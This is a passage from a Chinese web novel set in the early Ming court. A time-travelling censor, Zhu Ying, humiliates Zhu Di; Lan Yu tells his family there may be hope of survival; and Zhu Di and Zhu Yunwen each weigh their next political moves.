这简直就是历代帝王梦寐以求的、最完美的工具和帮手! 皇帝用起来放心,不必担心他结党营私;用起来顺手,因为他能力极强;用起来更没有心理负担,因为满朝文武都是他的敌人,他只能紧紧依附皇权。 眼下的朱煐,正是携着这筹措四百多万两银子的赫赫威势,锋芒之盛,一时无两!满朝文武,竟无一人敢在此时站出来与之匹敌,甚至连质疑的声音都没有。 没看到吗?这厮都敢指着燕王朱棣的鼻子破口大骂,而素以英武刚毅著称的燕王,除了脸色难看,竟连一声都不敢吭! 甚至,连陛下本人都没有出言制止,只是静静地看着。 大家丝毫不怀疑,此时此刻,若是陛下开口为燕王说情,恐怕也免不了要被这朱煐梗着脖子顶撞回来,挨上一顿不分尊卑的“劝谏”! ........ 看着朱煐站在大殿中央,那副生死看淡、不服就干、睥睨一切的架势,无论是那些看朱煐极度不爽、视其为眼中钉的官员,还是少数觉得此子虽狂却也有其可爱之处、对其怀有些许好感的官员,他们的眼神里,都不由自主地流露出了一种复杂难明的情绪——那是深深的羡慕。 他们羡慕朱煐那份仿佛与生俱来的、敢于挑战一切权威的勇气,更是羡慕他那种似乎早已将个人生死、前程、荣辱全都置之度外的极致洒脱。 正是因为他们在官场沉浮中浸淫太久,身上背负了太多的枷锁——家族的期望、个人的前程、利益的纠葛、对皇权的恐惧——他们做不到像朱煐那样无所畏惧,所以才更加羡慕这种可望而不可及的状态。 朱棣被朱煐这一顿毫不留情的斥责和羞辱之后,脸色阴沉得几乎能滴出水来,胸膛微微起伏,显然是在极力压抑着怒火。 看到朱棣脸上这副表情,朱煐心中却是暗爽不已,几乎要欢呼雀跃。 让你丫的想跟我和解!还想化干戈为玉帛? 你这要是跟我握手言和了,我这精心准备的“底牌”岂不是要失效了? 在我全盘的计划中,你燕王朱棣可是我未来完成那个坑爹任务最至关重要的一环,是绝对不能出现差错的“保险”! 朱煐心心念念的,便是那个所谓的“长生任务”——为家国天下而被君主所杀。这任务听起来崇高,做起来却难如登天。 他早已盘算过,大明开国后的前三任皇帝,分别是朱元璋(洪武)、朱允炆(建文)、以及眼前的燕王朱棣(未来的永乐)。 穿越过来这一个多月,他本以为在史书记载中脾气暴躁、动辄杀人的朱元璋手下,找个机会“求死”应该很容易,可现实却狠狠打了他一巴掌。 他明明每次都已经做得非常“到位”了,各种踩雷、顶撞、甚至堪称“作死”的行为层出不穷,可偏偏就是死不掉!眼前这个老朱的脾气,和明史里记载的那个容易暴怒、杀伐果决的开国皇帝压根全然不同! 老朱的脾气好得吓人,容忍度之高,常常让朱煐感到匪夷所思! 而每次想到这里的时候,朱煐都不得不在心里再一次默默地、狠狠地诅咒一遍那些编纂《明史》的大清朝的狗屎玩意儿! 这明史里记载的老朱,和自己眼前活生生的老朱,脾气性格的差距简直大到离谱! 这完全就不是同一个人嘛! 你们这些修史的混蛋,就不能尊重一下客观事实,少搞点抹黑前朝的艺术加工吗? 这不是坑爹吗!朱煐每每想到自己明明对明史还算比较了解,可关键时刻里面的内容却频频出错,就感觉一阵蛋疼菊紧,郁闷得想要骂娘。 这就好像一个学生,平日里辛辛苦苦做的习题,而这个习题的题型也确实出现在了大考里,结果临到考试你才发现,平时做的那些习题,连参考答案都是错的! 这让人怎么玩?朱煐简直想冲到几百年前,揪着那些清朝史官的领子问问,你们到底有没有一点职业操守! ........ 朱棣面色阴沉如水,不过他的目光并没有死死盯在让他受辱的朱煐身上,反而是带着一股压抑的怒火,落在了一旁正得意洋洋的秦王朱樉身上。 该死的老二! 肯定是他! 指定是这混蛋天天在朱御史耳边造谣生事,编排老子的不是,说什么本王有野心、要造反之类的屁话,才让朱御史先入为主,形成了刻板印象,从而对本王产生了如此深刻的敌意! 对于朱煐本人,朱棣心里反倒没有升起多少恨意。这就不得不说到“人设”的关键性了。 朱煐的人设,从他一出现在朝堂上,就是无比的刚正不阿,甚至是“混不吝”,看谁不爽就喷谁,上到亲王,下到普通官员,几乎是无差别攻击。 正因如此,无论是朱棣还是其他的官员,在经历了朱煐一次次不分对象的怒喷之后,实际上大家潜意识里都已经慢慢习惯了,甚至将他的这种行为看成了某种“正常操作”。 这就好比在日常生活中,如果一个正常人无缘无故朝你吐口水,你肯定会觉得对方是在故意针对你、侮辱你,必然会找他算账。可如果是一个众所周知的、见人就吐口水的疯子朝你吐了口水,你虽然也会感到恶心和晦气,但心里反而不会觉得对方是在特别针对你,因为你知道,他对所有人都这样,这是一种病态的行为模式。 而朱煐在众人眼中,某种程度上就扮演了这样一个“规则之外”的角色,他的攻击性,被他的“人设”在一定程度上中和了。 ........ 朝堂之上一时间陷入了诡异的寂静。百官们个个战战兢兢,连大气都不敢喘一口,这会儿朱煐风头正盛,气势如虹,谁也不想在这个时候被这个“疯子”给盯上,成为他下一个喷击的目标。 朱棣低着头,独自沉浸在郁闷和对朱樉的愤恨之中。 而此时,坐在大殿角落,作为商贾代表第一次有幸参加朝会的胡老三,他的那颗小心脏却已经砰砰狂跳,几乎要从嗓子眼里蹦出来了! 他胡老三不过是一个地位低下的商贾,在大明,商贾属于贱籍,平日里连官府衙门都得点头哈腰,何曾见过这般剑拔弩张、亲王都被骂得不敢还口的朝堂场面? 这一次他能站在这里,纯粹是因为他在筹措银两这件事上立下了大功。他不仅自己咬牙捐出了三十万两,拿下了稷下学宫的首个入学名额,更重要的是,他在商贾圈子里的大力宣传和鼓动,产生了强大的“羊群效应”,直接一次性为朝廷聚拢了四百二十七万两巨款! 加上之前商贾们托他探路时送的六万两“礼金”,总额达到了骇人听闻的四百六十三万两! 在这桩天大的功劳里,胡老三出的力,除了总策划朱煐之外,无人能及!如果说朱煐是运筹帷幄的统帅,那他胡老三就是冲锋陷阵、执行完美的先锋大将!正因如此,他才有此殊荣,能够以商贾之身,代表整个商人群体站在这奉天殿上。 而此时的胡老三,除了极度的紧张和惶恐之外,内心深处更涌动着一股难以抑制的激动!是的,他相当地激动! 亲眼目睹了朱煐在朝堂上睥睨群臣、连燕王和陛下面子都敢驳的风采之后,胡老三的心里只剩下最直白、最朴素的两个字来形容——牛逼!简直太牛逼了! 看着朱煐挥洒自如,喷得燕王哑口无言,连皇帝的说情都敢直接拒绝,胡老三虽然看得心惊肉跳,冷汗直流,但骨子里却着实感到一种前所未有的爽快!仿佛自己也跟着扬眉吐气了一般。 第86章 蓝家:我们有救了? 大朝会很快就结束了,但这场朝会掀起的波澜,却远未平息,反而像投入平静湖面的巨石,激荡起的涟漪一圈圈扩散开来,正悄然影响着各方势力的盘算和布局。 今日的朝会实在太过不同寻常。 退朝的钟声悠悠响起,百官怀着各异的心思,三五成群地陆续离去,许多人步履迟缓,显然仍沉浸在方才的震撼中。 每个人脸上的表情都耐人寻味。 一些老成持重的官员面色凝重,眉头紧锁,似乎在深思朱煐崛起和陛下态度转变背后蕴含的朝局变化; 一些原本中立的官员,目光闪烁,显然在重新评估站队和自保的策略。 显然,他们都因今日朝堂上朱煐的惊人表现和陛下的反常态度而受到了不小的冲击,各自都有了不同的感受和盘算...... 蓝玉几乎是第一批离开奉天殿的。 他脚步匆匆,甚至没顾得上和相熟的几位同僚多做寒暄,只是与朱煐、胡老三等寥寥几人简单拱手告别,便迫不及待地朝着宫外走去,仿佛身后有火在烧。 他没有多说什么,此刻任何言语都显得多余,他心中被一种急切而又混杂着希望的激动情绪填满,只想快点回到那个近日来被愁云惨雾笼罩的家中。 他迫切地想要将自己的新发现、那绝处逢生的一线希望,告诉日夜为自己担惊受怕的妻子和孩子们,驱散笼罩在府邸上空的阴霾。 这些日子以来,承受着巨大压力的何止是蓝玉一人? 整个凉国公府,从主子到下人,都仿佛被一块无形的大石压着,喘不过气来。府中上下弥漫着一股压抑的阴云,往日门庭若市的车马喧嚣早已不见,取而代之的是一种令人心悸的死寂,连下人们走路都踮着脚尖,说话不敢高声。 ......... 朱煐先前在朝堂上那番关于蓝玉“无论谁上位都必死”的惊悚言论,根本不是什么秘密,早已随着当日参与朝会的百官之口传遍了应天府的上层圈子,可谓人尽皆知,甚至被添油加醋,描绘得更加凶险。 几乎所有人都认定了凉国公府气数已尽,蓝玉的处境已是危如累卵,只差陛下最后那一道催命符了。 虽然眼下碍于蓝玉尚存的国公权势和军中余威,明面上还无人敢公然落井下石,但那种无声的疏离感却无处不在,像冰冷的潮水般渗透过来。 别说那些原本就只有一般交情的官员了,就连本该同气连枝、被视为铁板一块的淮西勋贵集团内部,也有不少人在暗中频频议论,对凉国公府和蓝玉的态度发生了微妙而显著的变化。以往热闹的勋贵聚会,如今很少再主动邀请蓝玉,即便他去了,席间涉及他的话题也往往被刻意避开,气氛尴尬。 路上遇见,往日能称兄道弟的同僚,如今多是匆匆点头,便借口有事快步离开,仿佛他身上带着晦气。 人都是趋利避害的,这是天性,尤其是在这官场上。 明知道蓝玉已经身陷陛下亲手布下的死局,凉国公府这艘大船眼看就要倾覆,几乎没有翻盘的可能,又有几个人真能做到不离不弃,甘心陪着一起殉葬呢? 即便是往日里称兄道弟、关系莫逆的,在这种关乎家族存亡的时刻,也必然会本能地保持距离,划清界限,这是生存的法则。 到了他们这个层级,个人荣辱早已与家族兴衰绑定,谁也不敢拿整个家族的命运去赌一份或许并不牢靠的义气。 ........ 如果说,大家是等到老朱突然对蓝玉发难、刀斧加身时才知晓,那时已成定局,被迫绑在一起同仇敌忾、拼死一搏倒也罢了,至少能落个忠义的名声。 可现在既然提前知道了陛下的意图,知晓了风暴的中心就是蓝玉本人,自然就没有那么多人愿意提前上这条注定要沉的船了,避之唯恐不及才是常态。 正因如此,蓝玉几乎是在一夜之间,在朝堂上成了被无形孤立的对象,真正尝到了什么叫“孤立无援”的滋味,那种四面楚歌的寒意,只有身处其中才能体会。 当然,并非所有人都如此现实势利。 也有一些与蓝玉私交极深,或是利益捆绑过于紧密、深知一荣俱荣一损俱损、准备一条路走到黑的铁杆支持者。 对于这些真正忠心或无法切割的部下旧将,蓝玉内心反而更加不忍和愧疚,他早已在暗中做了安排,示意他们故意疏远自己,甚至在公开场合说些撇清关系的话,以免受到牵连。他不能拖着所有人一起死。 他心里存着一份念想: 倘若自己此番真能侥幸活下来,熬到新君登基,这些暗中保存下来的力量,或许将来就能成为一步出其不意的妙棋,成为蓝家东山再起的资本。 总而言之,近段时间,蓝玉在朝廷里几乎成了“狗都嫌”的代名词,人人避之唯恐不及,那种从云端跌落的落差感,无比清晰而刺骨。 不过,朝中眼下依然没有人敢主动跳出来和蓝玉作对,甚至可以说,如今蓝玉的“不可得罪”程度,比以往还要高出好几个层级! 道理很简单,一个已经被贴上“必死”标签、近乎绝望的猛虎,谁还敢去轻易招惹?谁也不知道他下一秒会做出什么。 万一逼得他狗急跳墙,临死前拉几个垫背的,那岂不是亏大了? 大家都还有大好前程,家族基业需要维系,谁也不想在这个时候去触这个霉头,惹上一身腥臊,因此反而对他维持着表面上的客气,甚至是小心翼翼的敬畏。 ........ 这段时日以来的遭遇和处境,让蓝玉对世态炎凉、人情冷暖有了刻骨铭心的感触。 他深刻体会到了什么叫“富在深山有远亲,穷在闹市无人问”,虽然他这个“穷”指的是政治生命的穷途末路。 他深知这一切的根源在于皇权的猜忌,而他一直无力改变这注定走向毁灭的轨迹,这种深深的无力感几乎将他吞噬,夜不能寐。 没想到,山重水复疑无路,柳暗花明又一村! 就在他几乎认命,准备安排后事的时候,今日朝会之上,竟然峰回路转,莫名其妙地在他眼前出现了这么一条可能的生路!朱煐的横空出世,陛下态度的微妙变化,以及那套“制衡”之说,像一道闪电劈开了他心中的黑暗。 尽管前路依旧吉凶未卜,变数极多,但这微弱的希望之光,已经足以让蓝玉心中欣喜若狂,仿佛在无边沙漠中跋涉已久、濒临绝境的旅人,终于看到了远方一抹若隐若现的绿洲轮廓,重新燃起了求生的意志。 ........ 马蹄声疾,踏在应天府的石板路上,清脆而急促。蓝玉的心比马蹄更急,恨不得立刻飞回府中。 回到那熟悉的、如今却显得格外冷清的凉国公府,看着门前冷落的景象,他心中又是一阵酸涩,但更多的是一种即将带来好消息的急切,想要尽快驱散家里的愁云。 他甩镫下马,将马鞭扔给迎上来的老仆,径直入内,脚步生风。 先是吩咐下人:“去,请夫人和三位少爷立刻到正堂来,有要事相商!”语气中带着久违的斩钉截铁。 然后将妻子叶氏、以及三个儿子——长子蓝春、二儿子蓝夏和三儿子蓝斐,全都叫到了正堂。 不多时,家人聚齐。 叶氏来得最快,脸上还带着未擦净的泪痕和担忧。 蓝夏和蓝斐也跟着进来,神色萎靡。蓝春是最后一个晃悠着进来的,他胡子拉碴,眼窝深陷,一脸的颓废与宿醉未醒的迷茫,身上的锦袍也皱巴巴的,带着一股隔夜的酒气和廉价的脂粉味。 这段时间以来,蓝春已经彻底摆烂,每天不是借酒浇愁,就是呼朋引伴在勾栏酒肆间流连徘徊,用放纵来麻醉自己,逃避那即将到来的恐怖命运。 作为蓝玉的长子,他几乎可以确定,一旦陛下对父亲、对蓝家举起屠刀,他必然是首当其冲,绝无幸理。 灭门之祸,或许会有极少数旁支远亲侥幸逃脱,但嫡系长子,绝对是重点清除对象,断无生理。 死亡或许并不可怕,可怕的是明知死期将近,却只能无力等待的过程,这种绝望足以摧毁一个人的意志。 蓝春便是在这种绝望的等待中,逐渐沉沦,放弃了所有希望和努力。 若是放在以往,蓝春敢如此荒唐度日,不用蓝玉动手,叶氏早就家法伺候,严加管束了。 可如今,整个凉国公府都危在旦夕,倾覆在即,蓝玉和叶氏看着长子这般模样,心中除了心痛,更多的是一种理解和无奈,知道他是用这种方式缓解恐惧,也就由着他去了,甚至有些放任。 至于他挥霍的钱财?整个府邸都要保不住了,留着那些黄白之物还有什么意义? 不如让孩子们在最后的日子里,能痛快一时是一时,减少些痛苦。这是一种近乎绝望的溺爱和妥协。 不仅蓝春如此,蓝夏和蓝斐的状态也好不到哪里去。 只是相较于蓝春外出买醉、麻痹自我,他们二人更加内敛些,多是关起门来在家里喝闷酒,或者对着书本发呆,同样是在沉默中静候着那不知何时会降临的末日判决,精神同样濒临崩溃的边缘。 等待死亡的过程,无疑是世间最煎熬的酷刑。眼下蓝家这几根顶梁柱,精神状态都已是强弩之末,萎靡不堪,整个家族弥漫着一种末日降临前的颓败气息。 就连一向坚强、主持内务的叶氏,此刻一双眼睛也是红肿得吓人,显然不知又背着人流了多少眼泪。 身为女人,面对家族即将遭遇的灭顶之灾,除了哭泣和强撑,她似乎也做不了什么,终日以泪洗面,眼睛又怎能不红肿?她不仅要承受恐惧,还要勉力维持这个家的运转,安抚下人,其中心酸,难以言表。 ........ 看着眼前家人这般凄惶颓唐、如丧考妣的模样,蓝玉心中一阵剧烈的刺痛和心塞,仿佛有只无形的手紧紧攥住了他的心脏,让他几乎窒息。 这都是他带来的灾祸啊! 但一想到自己今日在朝堂上窥见的那一丝生机,想到或许能为这个家带来转机,他心中又不由得大大松了口气,一股久违的豪情和责任感油然而生。他是这个家的顶梁柱,他不能倒,他必须带领家人闯过这次难关! 天不亡我蓝玉!更不亡我蓝家! 他没有立刻将那个好消息和盘托出,而是决定先敲打一下儿郎们,重振一下家风,把他们的魂儿叫回来,顺便也在儿子们面前,重新树立起一家之主的威严,为接下来的谋划做准备。 他板起脸,目光首先落在最不成器、形象最不堪的长子蓝春身上,声音带着刻意的严厉和沉痛: “都瞧瞧!一个个的都成什么样子了?还有半点国公府子弟的气度吗?像什么话!”他的一声低吼,让萎靡的几人精神微微一震。 蓝玉的目光扫过三个儿子,最终定格在蓝春身上...... “蓝春!你看看你!你是我蓝家的长子,是我蓝玉的儿子!我蓝家的儿郎,只有站着生,没有跪着死的!你看看你现在,像个什么样子?浑浑噩噩,醉生梦死!你就是这么给你两个弟弟做榜样的?你就是这么让你娘日日为你担惊受怕、以泪洗面的?” 蓝春抬起疲惫不堪、布满血丝的眼皮,懒洋洋地看了自己父亲一眼,嘴角扯出一丝苦涩到极点的笑容,语气带着破罐子破摔的麻木和顶撞: “爹,说这些还有什么用?我们蓝家都已经........没有生路了。覆巢之下无完卵!您现在上朝不上朝,其实也没什么打紧的了,不过是走个过场,等着那一天罢了。何必还如此较真?活得累不累?” “嘿!你个小兔崽子!”蓝玉故意把眼一瞪,声音提高了八度,带着怒其不争的火气,“现在还教训起你老子我来了?这上朝是陛下钦点,是臣子的本分,是我说不去就能不去的吗?陛下让我上朝,刀架在脖子上我也得去!这是规矩!” 他话锋一转,带着一种引导式的语气,继续说道,声音放缓但更有力:“再者说了,谁告诉你我蓝家就一定没有生路了?啊?生路是等来的吗?是靠自己去找,去争,去搏出来的!你就不能学学你爹我?为父这些年南征北战,一生戎马,经历过多少危机,闯过多少鬼门关?哪一次不是九死一生,看似绝境?” 蓝玉挺直了腰板,仿佛又变回了那个在千军万马中纵横捭阖、指挥若定的无敌统帅,声音变得铿锵有力,带着一股沙场悍将的杀伐之气:“为父凭借的是什么?就是那一股子永不服输的劲头!就是那一口永远不放弃的心气!只要你自己不认输,不放弃,哪怕身处绝境,也总能找到一线生机!狭路相逢勇者胜!” 他看着蓝春那依旧有些涣散、但似乎被他的话触动而出现一丝波动的眼神,恨铁不成钢地斥道:“你看看你现在这副德行,哪里有半点像我蓝玉的儿子?像蓝家未来的当家人?为父在外奔波劳碌,费尽九牛二虎之力,好不容易才窥见了一丝为家族寻得生路的可能,结果你们倒好,在家里就是这般自暴自弃,一点迎难而上、绝境求生的风范都没有!真是让为父失望透顶!” 蓝玉嘴上说着失望,但眼角眉梢却隐隐透着一丝不易察觉的得意和轻松。 他心情确实不错,有心借着这个机会,好好教育一下这几个在逆境中几乎垮掉的儿子,重新激发起蓝家男儿的血性和斗志,顺便也在这关键时刻,巩固一下自己作为父亲和家主的威严,为接下来的家族转型做准备。 ........ 对于蓝玉这番带着教训口吻、看似老生常谈的话,刚开始蓝春还是满脸的不屑一顾,甚至带着几分不耐烦和破罐子破摔的麻木。 都要死到临头了,还讲究这些虚头巴脑的气度和风范干什么?能当饭吃还是能救命?他耷拉着眼皮,心思早已飘到了晚上该去哪个相好的酒肆继续买醉,一醉解千愁。 可是,听着听着,当父亲的话语从单纯的斥责转向提及“生路”二字,并且语气异常坚定,不似往常的无奈和沉重时,蓝春那涣散的眼神猛地一凝,醉意仿佛瞬间被驱散了大半,不由得听愣住了! 不光是蓝春愣住了,原本默默垂泪、暗自神伤的叶氏,猛地抬起头,难以置信地看着丈夫。以及一旁神情萎靡、自顾自神游天外、对什么都提不起兴趣的蓝夏和蓝斐,也全都被蓝玉话语中透出的这个石破天惊的关键信息给震住了,齐刷刷地抬起头,怔怔地看向一家之主,仿佛想从他脸上确认这话的真伪。 整个正堂陷入了一种诡异的寂静,落针可闻,只剩下几人略显粗重、带着惊疑不定的呼吸声。空气中弥漫着一种从绝望深渊中突然看到一丝微光的紧张和期待。 足足过了半晌,蓝春才猛地回过神来,仿佛不敢相信自己的耳朵,他用力晃了晃昏沉的脑袋,甚至下意识地掐了自己大腿一下,感受到痛感才确认不是做梦。他向前凑近一步,声音因为激动、紧张和难以置信而带着一丝明显的颤抖: “父........父亲,您.........您刚刚说什么?您........您找到了生路?我蓝家的生路?”他看向蓝玉的眼神中充满了极度的震惊与不可思议,仿佛在看一个凭空出现的救世主。 这蓝家的必死之局,满朝文武谁人不知,谁人不晓?连他自己都已经放弃了挣扎,认命等死,只求来个痛快。这老爹........是怎么在几乎铁板一块、由当今圣上亲手布下的死局里,找到那传说中一线生机的?这简直匪夷所思! 看到妻儿们脸上那震惊、茫然、又带着一丝不敢置信的期盼的复杂表情,蓝玉心中那份“劫后余生”的得意感和一家之主的满足感更是膨胀了起来。他故意挺了挺胸膛,清了清嗓子,脸上露出一副“一切尽在掌握”、“姜还是老的辣”的自得神情。 “哼!”他从鼻子里发出一声意味声长的轻哼,斜睨了几个不成器的儿子一眼,“你以为你爹我这么多年在朝堂上周旋、在沙场上搏杀,都是白混的?真当老子是只会打仗的莽夫不成?” 蓝玉捋了捋并不存在的胡须,开始忆往昔峥嵘岁月,“想当年,咱跟着陛下打天下,多少次在千军万马之中陷入绝境,那时候前有强敌,后无退路,咱可曾皱过一下眉头,可曾有过半分放弃的念头?” 他目光扫过几个儿子,带着一种“你们还太嫩”的优越感: “你爹我的能耐,你们这些小子,又岂能理解万一?不错,咱确实是找到了生路,而且依咱看来,这条生路大概率是稳妥的,足以让我蓝家渡过此次劫难!” 蓝玉一脸自得,虽然这生路的出现纯属“无心插柳”,是朱煐的横空出世间接带来的转机,但别人不知道啊! 尤其是自己的老婆孩子不知道内情,那这功劳,自然就是他蓝玉凭借自己的“智慧”和“努力”争取来的!这牛逼,不吹白不吹! “爹!您........您到底想出了什么法子?该不会........该不会是要........” 蓝春面色骤然一变,像是想到了什么极其可怕的事情,他猛地凑近蓝玉身边,几乎是贴着耳朵,用极低极低的声音,带着恐惧问道:“........不会是要造反吧?” “造反”二字一出,如同平地惊雷!周遭的蓝夏、蓝斐和叶氏也是浑身一颤,脸色瞬间变得惊骇无比,齐刷刷地看向蓝玉,心脏都提到了嗓子眼! 若真是如此,那恐怕就不是满门抄斩,而是诛九族的大祸了! “呸呸呸!放你娘的屁!” 蓝玉被长子这大胆的猜测气得吹胡子瞪眼,没好气地一巴掌拍在蓝春的后脑勺上, “你小子脑子里整天想些什么混账东西?咱蓝玉是那种忘恩负义、狼子野心的人吗?陛下对咱恩重如山,赐咱国公之位,享尽荣华!这辈子,我蓝玉生是大明的人,死了那也是大明的鬼!这大明江山,是你爹我和陛下,还有那么多老兄弟,流血流汗亲手打下来的!咱能让它再乱起来?再说这种混账话,老子先打断你的腿!” 蓝玉瞪了蓝春一眼,看着妻儿们惊魂未定的样子,也觉得卖关子卖得差不多了,便挥挥手,语气缓和下来:“行了行了,瞧把你们吓的。咱也不跟你们卖关子了,今天回来,就是特意来告诉你们这个天大的好消息,好让你们安心的。” 他清了清嗓子,脸上重新露出神秘的笑容:“这几日,咱在外头一直忙碌,早出晚归的,你们可知咱忙的是什么?” 叶氏作为当家主母,心思最为细腻,虽然近日悲伤过度,但对丈夫的行踪还是留意的,她迟疑着开口道:“夫君你这几日........不是常往朱御史府中去吗?难道........夫君你是去请托朱御史,让他向陛下为我们蓝家求情?” 几个儿子还处于自我封闭的麻痹状态,对外界事务漠不关心,自然不知道父亲近日动向,但叶氏的话点醒了他们,都带着询问的目光看向蓝玉。 “哈哈哈哈!” 蓝玉闻言,发出一阵爽朗的大笑,赞赏地看了妻子一眼, “还是夫人懂我!夫人说对了一半!这法子确实和朱御史有关,不过,并非是你想的那样,让朱御史去陛下面前为我们蓝家说情求饶。” 他呵呵一笑,饶有兴致地看向一脸茫然的妻儿们,故意吊着他们的胃口:“你们可知,这位朱御史,这几日做了何等惊天动地的大事?” 叶氏、蓝春、蓝夏、蓝斐皆是面面相觑,一脸茫然地摇了摇头。他们近来心灰意冷,几乎隔绝了外界消息,哪里会去关心一个御史做了什么。 “想来你们不知也正常。”蓝玉这才慢悠悠地说道,“前几日湖广突发大灾,灾情严重,可国库空虚,存银不多,陛下正为此事发愁。就在朝堂之上,朱御史主动站出来,接下了这筹措赈灾粮款的千斤重担!” “朱御史一人........筹措整个湖广赈灾的钱粮?” 叶氏闻言,脸上露出难以置信的惊讶神色。 她虽是内宅妇人,但也明白这其中的分量。 湖广之地,人口稠密,能被称之为“大灾”,所需的赈灾钱粮恐怕得以百万两白银起步! 让一个御史去筹措?这简直是天方夜谭!别说朱煐了,就算是陛下亲自出面,恐怕也难以在短时间内凑齐如此巨款! “夫人以为........朱御史筹措不到?” 蓝玉眼中露出一抹高深莫测的意味,嘴角带着玩味的笑容。 他很享受这种向家人揭秘、展示自己“信息优势”的感觉。以前的蓝玉,一心扑在军国大事和经营势力上,对家庭琐事和与家人分享趣闻并不上心。 可这次濒临绝境又窥见生机的经历,让他的心态发生了翻天覆地的变化。现在的他,格外珍惜与家人相处的时光,尤其喜欢看到妻儿们听到自己讲述外界新奇大事时,那好奇、惊讶、甚至带着点崇拜的模样。 “父亲,难道........这朱御史当真筹措到了?” 蓝春眼睛瞪得如同铜铃,惊讶地看向蓝玉,酒意早已彻底清醒。蓝夏和蓝斐也是屏住了呼吸,好奇地望向父亲。 如今的蓝玉,似乎格外享受被儿子们用这种专注、期待的目光注视着。 这种家庭内部的认同感和权威感,比他在朝堂上获得任何虚名都更让他感到满足。 “何止是筹措到!” 蓝玉提高了声调,仿佛宣布一个伟大的胜利,“朱御史,只用了短短一天的时间,便筹措到了整整三十六万两白银!” “?????” 蓝春顿时张大了嘴巴,足以塞进一个鸡蛋。蓝夏和蓝斐也是一脸愕然,仿佛听到了什么神话故事。 第87章 惊骇的吕氏,朱允炆得计! 要是能够早点化干戈为玉帛,也不至于给老二这丫的可乘之机!朱棣越想越气,一拳捶在书案上,震得笔架上的毛笔都跳了跳。 道衍和尚看着怒气冲冲、在书房里来回踱步像一头困兽般的朱棣,微微摇了摇头,枯瘦的脸上依旧平静无波。 “王爷,眼下你最需要的是静心,是休息。”道衍的声音低沉而平稳,像古井无波。 “休息?本王能休息得了?” 朱棣猛地停下脚步,转身瞪着道衍,胸口起伏,“眼下父皇摆明了就是要帮着老二和朱煐,本王现在都快被排挤出朝廷了!连个学宫都进不去,这叫什么事儿!” 朱棣气得够呛,额上青筋隐现,只觉得一股邪火在胸腔里乱窜,无处发泄。 “王爷,无论发生什么事,都要镇定以对,泰山崩于前而色不变,这不是您常教导麾下将士,也常以此自勉的吗?” 道衍和尚的语气毫无波澜,仿佛只是在陈述一个再简单不过的事实。 他说完这句话,便没有再说话,只是静静地站在那里,像一尊黑色的泥塑。该点的已经点了,再多说便是赘言。 书房里,顿时十分安静,只有朱棣粗重的呼吸声。 紧闭的门窗将外面的喧嚣与光亮隔绝开来,桌上点燃的烛火不安分地摇曳着,在墙壁上投下晃动的人影,更添了几分压抑...... 朱棣也没有再说话。他深吸了几口气,强迫自己冷静下来。他知道道衍说得对,愤怒解决不了任何问题,只会让对手看笑话。 就这样,足足沉默了好一会儿之后,朱棣胸中的郁结之气似乎随着几次深长的呼吸被排出了一些,稍稍平复了心情,缓过劲来。 他走到椅子前坐下,揉了揉眉心...... ........ “是本王失态了。” 朱棣的声音恢复了往常的沉稳,带着一丝自嘲,“多谢大师提醒。” “王爷谢自己便是,小僧并未做什么,不过是说了句实话。” 道衍和尚双手合十,微微欠身,“是王爷自己能想通。” “你说本王接下来该如何?”朱棣抬起头,目光锐利地看向道衍,寻求着更明确的指引。 “那得看王爷你想如何。” 道衍的回答依旧带着禅机,“王爷心中既有沟壑,想到便去做便是。以王爷的能力和魄力,贫僧一个方外之人,又如何指点江山?” 朱棣眉头深锁,手指无意识地敲击着桌面。道衍和尚这话听起来什么也没说,但却也算是什么都说了.....他是在告诉自己,路要自己选,主意要自己拿。 “看来本王要动身去朱御史府上一趟了。” 朱棣沉吟片刻,眼中闪过一丝决断,“不能再等了。” 他像是在说服自己,语气渐渐坚定:“不就是低头吗?成大事者不拘小节,能屈能伸。当年韩信尚能受胯下之辱,本王为了大局,向一个能臣低个头,又算得了什么?” “不就是老二挑拨本王和朱御史的关系吗?本王就不信了,老二那张破嘴便能一直蒙蔽朱御史不成?朱御史是聪明人,迟早能看清谁才是真心为大明。” “本王一颗赤诚之心对大明日月可鉴,这老二偏偏到处说本王想造反,毁本王清名!他自己倒是上蹿下跳,想做贤王!”朱棣说到朱樉,又忍不住有些咬牙切齿。 “嗯?等等!” 朱棣忽然想到什么,眼前一亮,捕捉到了一个关键点:“贤王?” 他猛地站起身,眼睛咕噜噜地转了转,脑海里瞬间闪过诸多念头,一个想法逐渐清晰起来:“这老二做得,本王便做不得吗?他能在父皇和朱御史面前卖好,本王为何不能?他想要贤王的名声,本王难道就不能做个更好的贤王?” 朱棣的眼睛越来越亮,脸上的阴霾一扫而空,取而代之的是一种找到了方向的兴奋和算计。 “阿弥陀佛,看来王爷已经想好要怎么做了。” 道衍和尚看着朱棣神色的变化,枯瘦的脸上终于露出了淡淡的、一切尽在预料之中的笑容。 “你这和尚每次都是这样,好像什么都说了,却也好像什么也没说。” 朱棣心情转好,指着道衍笑骂了一句,随即正色道:“去,让人备一份厚礼,要显得有诚意但又不过分奢靡,晚些时候随本王去朱御史府中一趟吧。这次,本王亲自去拜会这位‘中兴侯’!” “是,王爷。” 道衍和尚应诺,不再多言,躬身退出了书房...... ....... 与此同时的东宫。 东宫位于皇宫之内,殿宇巍峨,规制谨严,只是这偌大的宫室,此刻却隐隐透着一股难以言说的沉闷。 早朝之后,住在东宫的朱允炆回家是最方便的,无需像其他臣工那般还需车马劳顿穿过重重宫门。 他几乎是脚步不停地回到了东宫,脸色并不好看,屏退了左右侍从,径直找到了正在偏殿核算用度的母亲吕氏。 同时,他立刻让心腹内侍给黄子澄、齐泰带去了口信,命两人速速入宫一趟,有要事相商。 而朱允炆自己,则是迫不及待地和母亲吕氏吐槽起了今天朝堂上所发生的、让他倍感憋闷和意外的事情..... 朱允炆语速颇快,带着几分后怕和不解,说到了黄子澄如何忽然出列,对朱煐发难,言辞激烈,以至于朝堂上的场面险些失控,引得不少文官纷纷附和,对朱煐群起而攻之,那阵仗,仿佛要将朱煐生吞活剥了一般。 结果没想到,朱煐却早有准备,有大功护体! 当那一个个沉甸甸、装满了金银珠宝的箱子被抬上大殿,当箱盖掀开,露出里面白花花的银锭和耀眼的珠宝,当那四百六十三万两的惊人数字被公之于众时,文官集团先前所有的攻讦和诋毁,瞬间都变成了苍白无力、如同跳梁小丑般的笑话,被这实打实的巨款砸得粉碎。 这一波和朱煐的碰撞,非但没能打压对方,反而凸显了朱煐的能耐和自己的狼狈,可谓是彻底失败,颜面尽失。 而最让朱允炆感到不理解甚至有些恼火的,还是黄子澄的这突如其来的操作。 如此重大的举动,竟然没有提前和自己商量,甚至都没有透过一点口风,完全是他自作主张,直接就在朝堂上当朝发难,打了自己一个措手不及。 